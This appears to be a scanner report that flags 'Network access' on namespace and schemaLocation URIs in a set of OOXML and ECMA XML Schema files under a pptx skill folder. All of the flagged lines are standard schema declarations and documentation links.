targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 6
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 7
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 9
schemaLocation="dml-main.xsd"/> <xsd:import schemaLocation="shared-relationshipReference.xsd" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> - Network accessline 10
<xsd:import schemaLocation="shared-relationshipReference.xsd" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> <xsd:element name="from" type="CT_Marker"/> - Network accessline 11
namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 5
xmlns:dpct="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 6
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 7
xmlns="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 9
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 11
schemaLocation="dml-main.xsd"/> <xsd:import schemaLocation="wml.xsd" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> - Network accessline 12
<xsd:import schemaLocation="wml.xsd" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 13
namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 15
schemaLocation="dml-picture.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/presentationml/2006/main" - Network accessline 4
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" - Network accessline 5
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 6
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 7
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 8
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 9
targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main"> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 11
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 13
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/characteristics" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/characteristics"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" - Network accessline 6
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/customXml" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/customXml" - Network accessline 6
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" - Network accessline 4
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 5
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" - Network accessline 7
blockDefault="#all" elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 9
schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" - Network accessline 4
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" - Network accessline 6
elementFormDefault="qualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 6
blockDefault="#all" elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 4
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 5
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math"> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/ - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math"> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 10
schemaLocation="wml.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/> <xsd:simpleType name="ST_Integer255"> - Network accessline 13
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/>
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" blockDefault="#all"> - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:xdr="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 8
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" schemaLocation="dml-spreadsheetDrawing.xsd"/> - Network accessline 14
namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml" - Network accessline 3
xmlns:pvml="urn:schemas-microsoft-com:office:powerpoint" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 4
xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" - Network accessline 5
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 6
xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:x="urn:schemas-microsoft-com:office:excel" - Network accessline 7
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 8
xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" targetNamespace="urn:schemas-microsoft-com:vml" elementFormDefault="qualified" - Network accessline 9
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
<xsd:import namespace="urn:schemas-microsoft-com:office:office" schemaLocation="vml-officeDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 13
schemaLocation="vml-officeDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="wml.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 16
<xsd:import namespace="urn:schemas-microsoft-com:office:word" schemaLocation="vml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 17
schemaLocation="vml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 18
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 22
<xsd:import namespace="urn:schemas-microsoft-com:office:powerpoint" schemaLocation="vml-presentationDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 23
schemaLocation="vml-presentationDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 24
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="urn:schemas-microsoft-com:office:office" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedT - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
attributeFormDefault="unqualified"> <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 8
<xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="urn:schemas-microsoft-com:office:excel" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 6
attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 6
xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 7
xmlns="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 8
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 9
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 10
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatib - Network accessline 11
targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/markup-compatibility/2006" schemaLocation="../mce/mc.xsd"/> - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 14
schemaLocation="dml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math" schemaLocation="shared-math.xsd"/> - Network accessline 15
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 16
schemaLocation="shared-math.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 17
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 18
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 19
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 20
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" schemaLocation="shared-customXmlSchemaProperties.xsd"/> - Network accessline 21
<xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 22
schemaLocation="shared-customXmlSchemaProperties.xsd"/> <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/> <xsd:complexType name="CT_Empty"/> - Network accessline 23
<xsd:import namespace="http://www.w3.org/XML/1998/namespace"/>
skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd
- Network accessline 1
<?xml version='1.0'?> <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> - Network accessline 2
<xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> - Network accessline 4
<xs:annotation> <xs:documentation> See http://www.w3.org/XML/1998/namespace.html and - Network accessline 5
<xs:documentation> See http://www.w3.org/XML/1998/namespace.html and http://www.w3.org/TR/REC-xml for information about this namespace. - Network accessline 6
See http://www.w3.org/XML/1998/namespace.html and - Network accessline 7
http://www.w3.org/TR/REC-xml for information about this namespace. - Network accessline 55
<schema . . .> . . . <import namespace="http://www.w3.org/XML/1998/namespace" - Network accessline 56
. . . <import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - Network accessline 57
<import namespace="http://www.w3.org/XML/1998/namespace" - Network accessline 58
schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - Network accessline 72
<xs:documentation>In keeping with the XML Schema WG's standard versioning policy, this schema document will persist at http://www.w3.org/2001/03/xml.xsd. - Network accessline 73
policy, this schema document will persist at http://www.w3.org/2001/03/xml.xsd. At the date of issue it can also be found at - Network accessline 74
http://www.w3.org/2001/03/xml.xsd. - Network accessline 75
At the date of issue it can also be found at http://www.w3.org/2001/xml.xsd. The schema document at that URI may however change in the future, - Network accessline 76
http://www.w3.org/2001/xml.xsd. - Network accessline 79
itself. In other words, if the XML Schema namespace changes, the version of this document at http://www.w3.org/2001/xml.xsd will change - Network accessline 80
of this document at http://www.w3.org/2001/xml.xsd will change accordingly; the version at - Network accessline 81
http://www.w3.org/2001/xml.xsd will change - Network accessline 82
accordingly; the version at http://www.w3.org/2001/03/xml.xsd will not change. </xs:documentation> - Network accessline 83
http://www.w3.org/2001/03/xml.xsd will not change. - Network accessline 103
<xs:attribute name="base" type="xs:anyURI"> <xs:annotation> <xs:documentation>See http://www.w3.org/TR/xmlbase/ for - Network accessline 104
<xs:annotation> <xs:documentation>See http://www.w3.org/TR/xmlbase/ for information about this attribute.</xs:documentation> - Network accessline 105
<xs:documentation>See http://www.w3.org/TR/xmlbase/ for
skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 2
<xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 3
xmlns:xs="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/content-types"
skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 2
<xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 4
xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:dc="http://purl.org/dc/elements/1.1/" - Network accessline 5
xmlns:dcterms="http://purl.org/dc/terms/" elementFormDefault="qualified" blockDefault="#all"> - Network accessline 7
<xs:import namespace="http://purl.org/dc/elements/1.1/" - Network accessline 8
schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsd"/> - Network accessline 9
<xs:import namespace="http://purl.org/dc/terms/" - Network accessline 10
schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsd"/> - Network accessline 11
<xs:import id="xml" namespace="http://www.w3.org/XML/1998/namespace"/>
skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd
- Network accessline 1
<?xml version="1.0" encoding="UTF-8"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature" - Network accessline 2
<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature" - Network accessline 3
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/digital-signature"
skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 2
<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 3
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/relationships"
skills/pptx/ooxml/schemas/mce/mc.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 2
<xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 3
attributeFormDefault="unqualified" elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 5
xmlns:xsd="http://www.w3.org/2001/XMLSchema"> - Network accessline 7
<!-- This XSD is a modified version of the one found at: https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd - Network accessline 9
https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd - Network accessline 15
